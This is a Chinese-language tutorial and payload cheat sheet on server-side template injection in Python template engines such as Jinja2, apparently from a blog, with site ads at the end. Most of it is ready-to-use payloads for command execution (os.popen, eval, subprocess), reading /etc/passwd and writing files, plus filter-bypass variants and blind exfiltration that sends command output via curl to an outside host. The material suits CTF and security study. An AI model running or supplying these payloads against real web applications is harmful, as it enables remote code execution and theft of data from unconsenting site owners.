SSTI模板注入
一、SSTI简介
SSTI就是服务器端模板注入(Server-Side Template Injection),SSTI也是注入类的漏洞,其成因其实是可以类比于sql注入的。
sql注入是从用户获得一个输入,然后又后端脚本语言进行数据库查询,所以可以利用输入来拼接我们想要的sql语句,当然现在的sql注入防范做得已经很好了,然而随之而来的是更多的漏洞。
SSTI也是获取了一个输入,然后再后端的渲染处理上进行了语句的拼接,然后执行。当然还是和sql注入有所不同的,SSTI利用的是现在的网站模板引擎(下面会提到),主要针对python、php、java的一些网站处理框架,比如Python的jinja2 mako tornado django,php的smarty twig,java的jade velocity。当这些框架对运用渲染函数生成html的时候会出现SSTI的问题。
现在网上提起的比较多的是Python的网站。
模板引擎
百度百科的定义:
模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。
模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这就大大提升了开发效率,良好的设计也使得代码重用变得更加容易。
也就是说,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。
模板引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过。
检测是否存在ssti
在url后面,或是参数中添加{{ 6*6 }}
,查看返回的页面中是否有36
二、关于SSTI的python类的知识
python 中的 魔术方法
- dict:保存类实例或对象实例的属性变量键值对字典
- class:返回调用的参数类型
- mro:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
- bases:返回类型列表
- subclasses:返回object的子类
- init:类的初始化方法
- globals:函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价
base和 mro都是用来寻找基类的。
//获取对象类
''.__class__ <class 'str'>
().__class__ <class 'tuple'>
[].__class__ <class 'list'>
"".__class__ <class 'str'>
__ init__方法用于将对象实例化,
__ globals__获取function所处空间下可使用的module、方法以及所有变量。
__ import__动态加载类和函数,也就是导入模块,经常用于导入os模块
//基类
{{''.__class__.__base__}} (<type 'basestring'>,)
类型对象的全部基类,以元组形式,类型的实例通常没有属性
{{''.__class__.__mro__}} 此属性是由类组成的元组,在方法解析期间会基于它来查找基类
[].__class__.__bases__[0] <type 'object'>
//返回子类
"".__class__.__bases__[0].__subclasses__()
"".__class__.__mro__[-1].__subclasses__()
可以从返回的子类中找到可以利用的类
这样我们在进行SSTI注入的时候就可以通过这种方式使用很多的类和方法,通过子类再去获取子类的子类
三、一些常用的方法
找到重载过的init类(在获取初始化属性后,带 wrapper 的说明没有重载,寻找不带 warpper 的):
>>>''.__class__.__mro__[2].__subclasses__()[99].__init__
<slotwrapper'__init__'of'object'objects>
>>>''.__class__.__mro__[2].__subclasses__()[59].__init__
<unboundmethodWarningMessage.__init__>
1、命令执行
os模块提供了非常丰富的方法用来处理文件和目录
例如popen,system都可以执行命令
No.1
利用eval 进行命令执行。
''.__class__.__mro__[2].__subclasses__()[75].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}
No.2
利用warnings.catch_warnings 进行命令执行。
首先,查看 warnings.catch_warnings 方法的位置:
[].__class__.__base__.__subclasses__().index(warnings.catch_warnings)
查看 linecatch 的位置:
[].__class__.__base__.__subclasses__()[59].__init__.__globals__.keys().index('linecache')
查找 os 模块的位置:
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.keys().index('os')
查找 system 方法的位置:
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.keys().index('system')
调用 system 方法:
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')
No.3
利用 commands 进行命令执行。
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('ls')
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
注意:__ subclasses __()[75]中的[75]是子类的位置,由于环境的不同类的位置也不同
No.4
python中的subprocess.Popen()使用
{{().__class__.__bases__[0].__subclasses__()[258](%27ls%27,shell=True,stdout=-1).communicate()[0]}}
2、读写文件
查看其引用 builtins
Python 程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于 builtins 却不用导入,它在任何模块都直接可见,所以这里直接调用引用的模块。
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']
这里会返回 dict 类型,寻找 keys 中可用函数,直接调用即可,使用 keys 中的 file 以实现读取文件的功能:
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('F://GetFlag.txt').read()
读文件:
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()
写文件:
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').write()
存在的子模块可以通过 .index() 来进行查询,如果存在的话返回索引,直接调用即可。
还有另外的方法:
[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()
写文件换为 .write() 即可。
3、循环语句
当不确定调用方法的位置时可以跑循环并利用
os
利用os执行命令: 利用for循环找到,os._wrap_close类
{%for i in ''.__class__.__base__.__subclasses__()%}
{%if i.__name__ =='_wrap_close'%}
{%print i.__init__.__globals__['popen']('cat flag').read()%}
{%endif%}
{%endfor%}
__ builtins__
利用builtins执行命令: 利用for循环找到,os.catch_warnings类
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("whoami").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
4、常见SSTI的payload
python2:
#文件读取和写入
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
#每次执行都要先写然后编译执行
{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('code')}}
{{ config.from_pyfile('/tmp/owned.cfg') }}
#命令执行
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']('1+1')}}
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').system('whoami')")}}
#这条指令可以注入,但是如果直接进入python2打这个poc,会报错,用下面这个就不会,可能是python启动会加载了某些模块
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}
#system函数换为popen('').read(),需要导入os模块
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
#不需要导入os模块,直接从别的模块调用
{{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
python3:
#读文件
{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('d://whale.txt').read()}}
#命令执行
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}
#命令执行(变种)
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}
{% endif %}
{% endfor %}
#读文件(变种)
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}
{% endif %}
{% endfor %}
四、bypass
1、过滤中括号[ ]
_getitem_
__mro__[2]== __mro__.__getitem__(2)
pop() 函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
在这里使用pop并不会真的移除,但却能返回其值,取代中括号,来实现绕过
2、过滤引号
2.1、先获取chr函数,赋值给chr,后面拼接字符串就好了:
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read() }}
2.2、借助request对象(推荐):
request.args
是flask中的一个属性,为返回请求的参数,这里把path
当作变量名,将后面的路径传值进来,进而绕过了引号的过滤
{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwd
将其中的request.args
改为request.values
则利用post的方式进行传参
url+={{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}
POST:
path=/etc/passwd
将其中的request.args
改为request.cookie
则利用post,cookie的方式进行传参
url+={{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.cookie.path).read() }}
POST:
Cookie:path=/etc/passwd
2.3、执行命令:
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(chr(105)%2bchr(100)).read() }}
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(request.args.cmd).read() }}&cmd=id
3、过滤双下划线__
{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__
4、过滤{{}}
可以利用{%%}标记
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://127.0.0.1:7999/?i=`whoami`').read()=='p' %}1{% endif %}
相当于盲命令执行,利用curl将执行结果带出来
如果不能执行命令,读取文件可以利用盲注的方法逐位将内容爆出来
{% if ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/test').read()[0:1]=='p' %}~p0~{% endif %}
5、过滤os
?name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=__globals__&b=os&c=cat /flag
5、字符串拼接
__getattribute__
使用实例访问属性时,调用该方法
{{[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]("/etc/passwd").read()}}
7、base64编码绕过
__getattribute__
使用实例访问属性时,调用该方法
{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}
8、无回显带出
当界面无回显时可以考虑带出
curl
dnslog带出
http://www.dnslog.cn/
curl whoami.xxxxxx
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://xxxx:4000/ -d `ls /|base64`') %}1{% endif %}
五、工具
1、Tplmap
先给出下载地址:https://github.com/epinna/tplmap
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 单线程的Redis速度为什么快?
· SQL Server 2025 AI相关能力初探
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 展开说说关于C#中ORM框架的用法!